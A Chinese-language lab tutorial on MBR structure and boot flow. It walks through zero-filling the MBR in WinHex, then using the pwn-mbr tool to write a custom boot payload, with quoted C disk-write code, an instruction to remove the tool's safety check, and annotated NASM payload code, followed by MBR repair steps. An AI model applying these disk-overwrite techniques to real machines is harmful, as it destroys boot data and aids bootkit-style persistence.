0*01 硬盘的逻辑结构
机械磁盘在物理结构上是由磁片, 马达, 磁头, 定位系统等部件构成, 通常一块磁盘有若干块磁片构成, 为了方便定位统一管理, 将这些磁片进行了编号. 一个盘片的两面各有一个磁头(Heads), 每个盘片被划分成若干个同心圆磁道, 每个盘片的半径均为固定值 R 的同心圆形成柱面(Cylinders), 从外至里编号为 0,1,2...... 每个盘片上的每个磁道又被划分为若干个扇区, 一个扇区通常容量为 512byte, 并按照一定规则编号为 1,2,3...... 形成 Cylinders*Heads*Sector 个扇区, 这三个参数即可定位一个扇区. 从这里可以看出扇区是磁盘的最小存储单元, 对磁盘的读写只能以扇区为单位.(请务必注意最后一句话, 后面的实验会用到)
Question1: 磁盘的扇区是什么时候划分的?
Answer: 在对磁盘进行低级格式化时(磁盘出厂前已经完成), 会划分出柱面和磁道, 将磁道划分为若干个扇区, 每个扇区又划分出标识部分 ID, 间隔区, GAP 和数据区 DATA 等. 而我们通常在操作系统中所用的格式化是高级格式化, 仅仅是清除硬盘上的数据, 生成引导信息, 初始化 FAT 表, 标注逻辑坏道等. 需要注意的是低级格式化是一种损耗性操作, 对硬盘寿命有一定的负面影响.
由于后续实验需要了解到磁盘数据的具体含义, 在这里简要介绍一下. 硬盘上的数据按照其不同的特点和作用大致可分为 5 部分: MBR 区, DBR 区, FAT 区, DIR 区和 DATA 区.
1,MBR 区
MBR(Main Boot Record 主引导记录区)位于整个硬盘的 0 磁道 0 柱面 1 扇区. MBR 只占用该扇区的前 446 个字节, 另外的 64 个字节属于 DPT(Disk Partition Table 硬盘分区表), 最后两个字节 "55,AA" 是分区的结束标志, 这两部分构成了硬盘的主引导扇区.
2,DBR 区
DBR(Dos Boot Record 操作系统引导记录区)位于硬盘的 0 磁道 1 柱面 1 扇区, 是操作系统可以直接访问的第一个扇区, 它包括一个引导程序和一个被称为 BPB(Bios Parameter Block)的本分区参数记录表, DBR 是在高级格式化时产生.
3,FAT 区
FAT(File Allocation Table 文件分配表)区位于 DBR 区之后. 文件在存储时并非连续存储在某个区域, 而是分成若干段进行链式存储, FAT 便是用于保存段与段之间的连接信息. 由于 FAT 对于文件管理十分重要, 所以在原 FAT 的后面会有一个备份 FAT.
4,DIR 区
DIR(Directory)是根目录区, 位于备份 FAT 表之后, 记录着根目录下每个文件 (目录) 的起始单元, 文件的属性等.
5, 数据 (DATA) 区
数据区位于 DIR 区之后, 用于存储真正的用户原始数据.
0*02 MBR 引导原理
计算机在按下电源键键以后, 开始执行主板 bios 程序. 进行完一系列检测和配置以后. 开始按 bios 中设定的系统引导顺序引导系统. 当设置为从硬盘启动时, Bios 执行完自己的程序后如何把执行权交给硬盘呢? 交给硬盘后又执行了什么呢?
这些问题便是需要 MBR 来解决的, bios 在执行自己固有的程序以后就会跳转到 mbr 中的第一条指令, 将系统的控制权交由 mbr 来执行. 需要注意的是 MBR 不随操作系统的不同而不同, 意即不同的操作系统可能会存在相同的 MBR, 即使不同, MBR 也不会夹带操作系统的性质, 具有公共引导的特性.
Question2: 所有电脑都有 MBR 引导区吗?
Answer: 其中 BIOS 设置中, 有两种启动进入操作系统的方法, 分别是为 UEFI 和 Legacey. 其中 Legacy 是早先出现的, 而 UEFI(Unified Extensible Firmware Interface)是后来发展出的可扩展固件接口. 两种模式分别对应的硬盘分区格式: MBR 格式和 GUID(GPT)格式, 所以只有采用 Legacy 启动的才会拥有 MBR 扇区.
0*03 摧兰折玉 -- 暴力擦写 MBR
如果我们破坏了 MBR 会发生什么? 利用 winhex 对 MBR 区域进行 00 填充操作, 由于针对磁盘的读写操作需要高权限进行, 所以请用管理员启动 winhex.
填充后:
修改后切记保存, 才能使修改后的数据真正写入到磁盘中. 然后重启电脑.
哦, 对了, 实验务必在虚拟机中进行, 务必做好快照, 哈哈哈~~~~~ 前面忘说了.
0*04 偷梁换柱 -- 篡改 MBR
我们成功的破坏了 MBR, 既然 Bios 将控制权交给了 MBR 执行, 我们岂不是可以利用 MBR 做一些其他事. 这里我们用到程序 https://github.com/DavidBuchanan314/pwn-mbr , 该程序是将自己的 payload 写入到 MBR 区域执行.
1, 制作 payload
工程中的 payload.s 文件属于汇编语言程序, 需要利用其进行编译生成二进制 payload. 笔者刚开始选择 masm 对其进行编译, 报一堆错误, 后来才发现该汇编语法规范属于 nasm, 使用 nasm 顺利生成了 payload.
2,RING3 层直接读写磁盘数据
Windows 利用内核模式与用户模式的严格切分确保了可靠性, 这两种模式分别对应了 CPU 的 Ring0 与 Ring3 级别, 在 Ring3 级下执行的程序是不能够直接访问到硬件的. 如果要读写磁盘上的扇区数据, 需要利用 INT 中断来进行, 但是也必须是在 Ring0 级才可以进行操作, 而进入 Ring0 级的方法有: 设备驱动程序, 调用门, 任务门, 中断门, 陷阱门等, 这势必提升了操作门槛.
而程序中对磁盘的操作直接使用了 fopen 等文件操作函数, 这是为什么? Windows 的核心之一就是强大的文件管理能力, 将所有资源都看成文件, 无论是存储在硬盘上的文件还是五花八门的硬件设备(硬盘, 显示器等), 所以硬件也拥有自己特殊的文件路径.
程序启动时带入的参数是物理驱动器的路径:
- fp = fopen(argv[1], "r+");
- if (fp == NULL) {
- printf("Could not open %s for read/write. Are you sure you have permission?\n", argv[1]);
- return 1;
- }
- fread(&mbr, SECTOR_SIZE, 1, fp);
Windows 平台的驱动器名一般为 " \\.\PHYSICALDRIVE0″ , 后面的数字以此类推; Linux 平台通常为 dev\sda .
3, 程序的运行
通过阅读源码, 可知程序对磁盘进行了读写操作, 而 fopen 等对物理驱动器的操作必须具备调试权限, 否则就会打开失败, 所以我们选择管理员运行程序.
运行后重启系统, 我们看到屏幕上的字串.
按下回车键后, Windows 系统正常启动.
4, 阅读程序
程序中这段代码在实际执行中会进入而使得程序退出, 所以需要注释掉, 确保顺利执行.
- if (mbr[0] != ASM_JMP) {
- // this is only a heuristic for added safety
- printf("No bootcode detected. Aborting!\n");
- fclose(fp);
- return 1;
- }
通过对源码的阅读, 大致梳理出程序流程:
读取前 512 字节, 即 MBR 所在的扇区
向后寻找一块全 0 的空白扇区
- char isUsed = 1;
- while (isUsed) {
- fread(&readbuf, SECTOR_SIZE, 1, fp);
- for (int i = isUsed = 0; i <SECTOR_SIZE; isUsed |= readbuf[i++]);
- }
将原始 MBR 数据异或 0xA6 后存储在该空白区域
for (int i = 0; i < SECTOR_SIZE; i++) mbr[i] ^= 0xA6;
将 payload 写入到 MBR 扇区
需要注意的是, 笔者在调试程序时发现 payload 在写入时总是失败, 提示参数错误, 后来发现在对硬盘读写时, 必须是 512 字节的整数倍才行, 所以需要对源程序进行修改, 将 payload 补齐到 512 字节后写入 MBR 扇区.
经过上述修改后, 系统重启时并没有顺利启动我们的 payload, 这里需要回顾第一章节里提到的 MBR 区的数据格式, 在 MBR 所在的第一扇区除了前 446 字节是 MBR 程序外, 后面的 64 个字节属于 DPT(Disk Partition Table 硬盘分区表), 最后两个字节 "55,AA" 是分区的结束标志. 所以我们在写入 payload 的同时应该修复 DPT 和结束标志, 程序中需要在读取原始 MBR 数据后加入以下代码.
- fread(&mbr, SECTOR_SIZE, 1, fp);// 从磁盘中读取 MBR 扇区
- memcpy(payload, mbr, SECTOR_SIZE);// 将原始 MBR 数据 copy 到 payload
- memset(payload, 0, 446);// 将前 446 清空, 留下后面的 DPT 表和结束标志
5, 解读 payload
在阅读 payload 汇编代码前, 需要明确一点: MBR 在运行时是被加载到内存地址为 0:0x7C00 的空间里执行.
backup_magic equ 0x0DD03713 ; 约定备份 MBR 的头部标志 0x1337D00D , 便于搜索查找:
- magic_addr equ 0x7FFC
- payload_len equ 0x1B8 ; tells us how much of the MBR to copy back
- org 0x7C00
- bits 16
- start:
- jmp realstart ; Just to look like a more normal MBR
- nop
- realstart:
- cli
xor ax, ax ; 清空各个寄存器
- mov es, ax
- mov fs, ax
- mov gs, ax
- mov ah, 0x0E ; "Teletype output" mode for int 0x10
- xor bl, bl
.sLoop sub bl, 1 ; 将 bl 设置为 255, 为了循环打印 255 次 pwn 文字
jz doCopy ; 判断是否打印完毕, 完毕则跳转至 docopy 处
mov si, pwned
.cLoop lodsb ; AL <- [DS:SI] && SI++ 将目的地址的内容读到源地址, 复制 pwn 文字操作
xor al, 0x83 ;pwn 文字解密操作
jz .sLoop
int 0x10 ; 输出
- jmp .cLoop
- doCopy:
- xor ah, ah
int 0x16 ; 等待键盘输入回车键
; 开始搜索定位 mbr 备份的位置
- .scan
- mov si, DAPACK
- mov ah, 0x42
int 0x13 ; 使用 int13h,ah=0x42 读取扇区
mov ax, [d_lba] ; 将 ax 赋值为 1 号扇区
add ax, 1 ; 扇区号累加操作
mov [d_lba], ax
mov eax, [magic_addr] ; 读取本扇区最开头的标记位数据
mov ebx, backup_magic
cmp eax, ebx ; 对比标记位数据, 判断是都否为备份的扇区
jne .scan
; 将备份扇区还原到 MBR 的位置
- mov si, stage2
- mov bx, 0x8000
.copy lodsb ; 将 stage2 区块的指令代码读写到内存 0x8000 位置处
- mov [bx], al
- add bx, 1
- cmp si, stage2end
- jl .copy
jmp 0x8000 ; 跳转到 0x8000 位置开始执行 stage2 代码
stage2: ; 该块代码会被重新装载到内存 0x8000 位置
- mov si, 0x7E00
- .copy lodsb
xor al, 0xA6 ; 备份的 MBR 数据进行解密操作
mov [si-0x201], al ; 将还原的 MBR 装载到内存 0x7C00 处
- cmp si, 0x7E00 + payload_len
- jl .copy
- sti
jmp 0:0x7C00 ; 跳转到 0x7C00 内存处开始执行还原的 MBR, 从而正常启动操作系统
stage2end:
pwned: db 206, 193, 209, 163, 211, 212, 205, 198, 199, 162, 163, 163, 163, 131 ; 该数据为异或后的数据 "MBR PWNED!" ^ 0x83
- align 4 ; needed for Disk Address Packet
- DAPACK:
- db 0x10
- db 0
- blkcnt: dw 1 ; int 13 resets this to # of blocks actually read/written
- db_add: dw 0x7E00 ; memory buffer destination address (0:7E00)
- dw 0 ; in memory page zero
- d_lba: dd 1 ; put the lba to read in this spot
- dd 0 ; more storage bytes only for big lba's (> 4 bytes )
疑惑: 笔者在进行测试时发现, xp/win2003 系统均可完成上述实验的全过程, 而换成 win7 会就会发现在出现 pwn 文字后, 按下回车键无任何反应, 系统并没有正常启动.
0*05 凤凰涅槃 - MBR 修复
如果有同学不慎中招了 MBR 病毒, 不要慌张, 下面我们来讲如何修复被破坏的 MBR 扇区. 根据之前我们对 MBR 工作机制的认识, 当 MBR 被破坏时, 系统无法正常引导, 磁盘分区信息丢失, 所以需要修复这两部分才可以正常启动系统.
1, 下载 PE 系统, 利用光驱或 U 盘等方式, 启动 PE 系统;
2, 打开 PE 系统中的 diskgenius 分区工具, 可以看到硬盘上的数据全都不见了;
3, 右键点击硬盘选择 "搜索已丢失的分区";
4, 选择 "整个硬盘", 点击开始搜索, diskgenius 会在整个磁盘范围内搜索匹配分区表;
5, 当搜索到分区信息时会弹框确认, 请按 "保留" 按键;
6, 搜索完毕后, 点击保存按钮;
7, 此时可以看到磁盘上的文件信息都回来了;
8, 重建主引导记录
9, 进入 PE 系统的 "修复系统引导" 程序, 对系统引导进行修复.
10,Reset, 大功告成!
0*06 后记
前面我们了解了 MBR 磁盘锁的基本运行机制, 以及 MBR 扇区修复技术, 其实有关 MBR 的利用远不止这些, 在一些高级利用场景中, 我们可以利用修改 MBR 代码的方式实现病毒程序的持久化, 而且这种形式的持久化方式是不依赖于操作系统, 更加隐蔽难以察觉, 因此部分杀毒软件也紧盯 MBR 扇区, 利用多种技术对 MBR 扇区进行了写保护, 防止病毒的篡改侵蚀.
来源: http://www.tuicool.com/articles/rmamUrE